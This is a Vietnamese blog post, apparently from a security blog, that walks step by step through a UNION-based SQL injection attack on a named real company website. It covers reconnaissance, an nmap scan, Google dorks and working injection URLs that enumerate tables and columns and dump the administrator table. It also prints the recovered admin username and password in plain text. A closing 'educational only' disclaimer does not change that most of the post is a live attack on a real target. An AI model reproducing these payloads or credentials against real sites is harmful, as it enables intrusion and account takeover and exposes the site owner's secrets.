Pages

How to attack SQL injection website



Mục tiêu của bài này chỉ mang tính giáo dục. Không mang tính phá hoại.

II. FOOTPRINTING

            * Domain: www.nhuaphucthinh.com.vn

1. Who is

   
          

2. Thông tin Record

           
- Thông tin IP hosting: vào trang who.is để tra cứu thông tin

==> domain : nhuaphucthinh.com.vn đang hosting tại FPT
- Tìm các hosting đang share chung trên server này bằng cách login : bing.vn
           

3. Thông tin trace

            + Từ trong nước:
           

            + Từ quốc tế
           

III. Scanning

            - Sử dụng tool nmap để scan
            + Scanning  domain : nhuaphucthinh.com.vn
    
       
+ Scanning ip: 118.69.204.202

+ Scanning xem server đang chạy hệ điều hành nào

 

IV. Testing

1. Tìm lỗ hổng website

            - Để tìm lỗ hổng SQL Injection của site, chúng ta sử dụng google để tìm kiếm với các từ khóa sau.
                        + inurl:index.php?id=
                        + inurl:gallery.php?id=
                        + inurl:article.php?id=
                        + inurl:pageid.php:id=
                        + ....
            - Ví dụ: ở đây tôi tìm site sau: www.nhuaphucthinh.com.vn/product.php?id=20

2. Tiến hành kiểm tra lỗ hổng

- Bây giờ chúng ta đi kiểm tra trang web này. Để kiểm tra các lỗ hổng, thêm dấu nháy đơn (') vào cuối URL. Hoặc ta có thể kiểm tra bằng cách thêm and 1=1and 1=0 , nếu kết xảy ra lỗi thì trang web đã bị lỗi SQL Injection.
- Ở đây, tôi thêm dấu nháy đơn.

3. Tìm số cột

- Chúng ta tìm bằng cách thêm "order by N" vào sau url (N: tăng từ 1,2,3...n, xảy ra lỗi). Ta có thể cho N bất cứ số nào để tìm ra lỗi nhanh nhất.
-  Ngoài ra, có thể sử dụng kết hợp union và select để tìm ra số cột.
- Ví dụ: ở đây ta thử số N=11 kết quả không lỗi ==> số cột phải lớn hơn 11
 http://www.nhuaphucthinh.com.vn/product.php?id=20 order by 11



Tiếp tục thử N=12 

==> Đã xảy ra lỗi, ta xác định được sỗ coloumn là 11.

4. Tìm cột bị lỗi

- Chúng ta tiếp tục tìm coloumn bị lỗi bằng cách tạo 1 id không tồn tại (giả sử ta đổi id =-20) thêm query " union select 1,2,3..11"

==> Vậy là ta tìm thấy các cột bị lỗi là '3', '5', '6'. Chúng ta tìm lỗi ở cột đầu tiên là '3'

5. Tìm version, database, user

            - Thay cột 3 bằng "version()"
           

            ==> ta thấy được version của database là 5.1.68
            - Tìm database và user, ta lần lượt thay cột 3 bằng database() và user()
           


           
            ==> database: nhuaphucth_inh; user: nhuaphucth_inh@localhost

6. Tìm tên table
            - Bây giờ, ta sẽ xuất ra danh sách các tên table bằng lệnh:
            http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()
           

            ==> Ta tìm thấy các table: administrator,category,countries,doitac,manufacturer,permit,product,user

7. Tìm tên của các cột

            - Chúng ta tìm tên của cột mà bảng chúng ta nghi vấn.  Ta thấy bảng administrator chắc sẽ chứa thông tim nhạy cảm, bây giờ ta thử nhé.
            - Sử dụng lệnh:
             http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select 1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 105, 115, 116, 114, 97, 116, 111, 114)
           (convert text "administror" to ASCii) 

            ==> Ta tìm thấy kết quả: AdmID,AdmFullName,AdmUsername,AdmPassword,PerID,AdmActive,AdmNote
            - Nào, ta tìm các thông tim cần tìm.
            http://www.nhuaphucthinh.com.vn/product.php?id=-20 union select 1,2,group_concat(AdmUsername,0x3a,AdmPassword),4,5,6,7,8,9,10,11 from administrator 
           

 ==> Đã thành công rồi: duyvuong1979:03091979

8. Tìm trang Admin panel

            - Ta có thể đoán url như:   
            http://www.nhuaphucthinh.com.vn/admin.php
            http://www.nhuaphucthinh.com.vn/admin/
            http://www.nhuaphucthinh.com.vn/admin.html
            ...
            - Ta có thể dùng các tool để tìm.

9. Cảnh báo


Việc sử dụng tên miền http://www.nhuaphucthinh.com.vn chỉ dùng cho mục đích làm giáo dục. Bất cứ ai lấy kết quả trên để phá hoại website này, hoặc làm theo các bước trên để phá hoại bất cứ website nào phải hoàn toàn chịu trách nhiệm trước pháp luật.
thudinh Network and Security

No comments:

Adsense

Translate